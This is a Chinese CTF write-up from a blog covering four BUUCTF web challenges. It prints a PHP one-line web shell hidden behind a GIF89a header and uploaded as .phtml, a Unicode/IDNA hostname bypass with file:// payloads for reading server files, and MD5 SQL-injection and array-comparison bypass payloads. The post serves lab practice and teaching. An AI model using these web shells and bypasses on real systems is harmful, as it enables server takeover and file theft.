Web-8(29-32)-BUUCTF平台

本篇内容
[极客大挑战 2019]Upload
[ACTF2020 新生赛]Exec
[SUCTF 2019]Pythonginx
[BJDCTF2020]Easy MD5

上一篇 | 目录 | 下一篇

[极客大挑战 2019]Upload
Web-8(29-32)-BUUCTF平台_第1张图片
很像之前写的一道题目:[SUCTF 2019]CheckIn。按照这个方法上传.user.ini发现不行。而且写一句话时同样的不能带有,需要内容换成这样样子才能上传。
既然.user.ini不能上传到话,那就尝试一下php的一些绕过文件名后缀的检查的方法:

php、php2、php3、php5、phtml

发现phtml可以绕过,a.phtml内容:

GIF89a
<script language='php'>eval($_POST['a']);</script>

操作如下:
Web-8(29-32)-BUUCTF平台_第2张图片
然后就是蚁剑连接了:
Web-8(29-32)-BUUCTF平台_第3张图片
然后在根路径下找到flag:
Web-8(29-32)-BUUCTF平台_第4张图片
当然的,不用一句话连接蚁剑连接也是可以啊,但操作方式一样,a.phtml内容如下:

GIF89a
<script language='php'>eval($_GET['a']);</script>

操作方式:
Web-8(29-32)-BUUCTF平台_第5张图片
然后就是执行命令了:
Web-8(29-32)-BUUCTF平台_第6张图片
Web-8(29-32)-BUUCTF平台_第7张图片





[ACTF2020 新生赛]Exec
Web-8(29-32)-BUUCTF平台_第8张图片
老套路了,直接做:
Web-8(29-32)-BUUCTF平台_第9张图片
Web-8(29-32)-BUUCTF平台_第10张图片
拿到flag。





[SUCTF 2019]Pythonginx

直接右键查看源码可以查看到正确格式的内容:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
        
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

代码感觉有些难度,那就用一个例子解释一下一些函数的作用:

>>> from urllib import parse
>>> url = 'http://www.example.com/a?b&c=1#2'
>>> host = parse.urlparse(url).hostname	#urlparse对url进行分割,host等于其中的hostname
>>> parse.urlparse(url)					#查看一下效果
ParseResult(scheme='http', netloc='www.example.com', path='/a', params='', query='b&c=1', fragment='2')
>>> host								#查看host的内容
'www.example.com'
>>> parts = list(parse.urlsplit(url))	#同样的,urlsplit也是分割url,并保存为列表
>>> parts								#查看一下效果
['http', 'www.example.com', '/a', 'b&c=1', '2']
>>> host = parts[1]						#相当于也是取其中的hostname
>>> host
'www.example.com'
>>> finalUrl = parse.urlunsplit(parts).split(' ')[0]	#urlunsplit拼接为url
>>> finalUrl											#查看一下效果
'http://www.example.com/a?b&c=1#2'
>>>

是不是这些函数方法也不是很难。那再来看看代码的意思:
我们最终是要让他return的是urllib.request.urlopen(finalUrl).read(),其他的return都不行
在这里插入图片描述
也就是说总共三个if语句,我们只能满足第三个if语句,即host在一开始并不能等于suctf.cc,到了第三个if语句它就要等于suctf.cc了。那感觉有些难度啊,肯定存在漏洞让我们来绕过,我之前解释函数有一块没有解释:
在这里插入图片描述
这里的解释参考大佬文章:python中urlsplit函数存在的漏洞。

CVE-2019-9636:urlsplit 不处理 NFKC 标准化
CVE-2019-10160:urlsplit NFKD 标准化漏洞

漏洞原理:
用 Punycode/IDNA 编码的 URL 使用 NFKC 规范化来分解字符。可能导致某些字符将新的段引入 URL。
例如,在直接比较中,\ uFF03不等于'#',而是统一化为'#',这会更改 URL 的片段部分。类似地,\ u2100 统一化为'a/c',它引入了路径段。

那我们只需要寻找到可替代字符就好了,到这里还是不太懂这个漏洞,没事,我再用一个例子讲一下:

>>> host = 'suctf.cⅭ'		#注意这里的Ⅽ并不是大写的C,而是一个Unicode码
>>> (host == 'suctf.cc')	#直接比较却不相等
False
>>> (host.encode('idna').decode('utf-8') == 'suctf.cc')	#但是经过idna编码后用utf-8解码后就相等了
True
>>>

这只是一个替代的例子,那到底有哪些可替代字符呢,参考altman学长写的一个脚本:

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

这里的脚本我是抄来的,但我写文章只要是抄来的都会写来源的,可惜这次因为我抄的脚本的那个人也是抄来的,他没写来源,我不能写他的啊,他又不是原作者,所以没法指向真正的来源文章。
好了,我感觉介绍的差不多了,该是构造payload了。
一开始的源代码提示了nginx,而nginx的配置文件目录为:/usr/local/nginx/conf/nginx.conf,而且host为suctf.cc
然后我尝试发现了不能用http和https协议,得用file本地文件传输协议,所以希望传入的是

file://suctf.cc/usr/local/nginx/conf/nginx.conf

替代方法有多种,虽然我看网上的WP都使用的是来替代c/u,那我就使用个简单的代替c就好。所以payload:

file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf

在这里插入图片描述
在这里插入图片描述
提示在/usr/fffffflag下,payload:

file://suctf.cⅭ/usr/fffffflag

在这里插入图片描述
在这里插入图片描述
拿到最终flag。这次难得的写了一次详细的WP,是因为我觉得这个漏洞比较有意思,而且觉得百度第一页搜出来的WP写的不够详细,对我这样真正的菜鸡不够友好。





[BJDCTF2020]Easy MD5
Web-8(29-32)-BUUCTF平台_第11张图片
尝试注入后没结果,抓个包看看:
Web-8(29-32)-BUUCTF平台_第12张图片
提示select * from 'admin' where password=md5($pass,true),看到这语句就知道要使用ffifdyop了,我不做解释了,网上一大堆。
Web-8(29-32)-BUUCTF平台_第13张图片
提交后另一个界面直接右键源代码,出现:

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

直接数组绕过,payload:

?a[]=1&b[]=2

Web-8(29-32)-BUUCTF平台_第14张图片
出现如下代码:


error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

也可以直接数组绕过,拿到flag。
Web-8(29-32)-BUUCTF平台_第15张图片




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105443688
========================================================

你可能感兴趣的:(CTF,BUUCTF)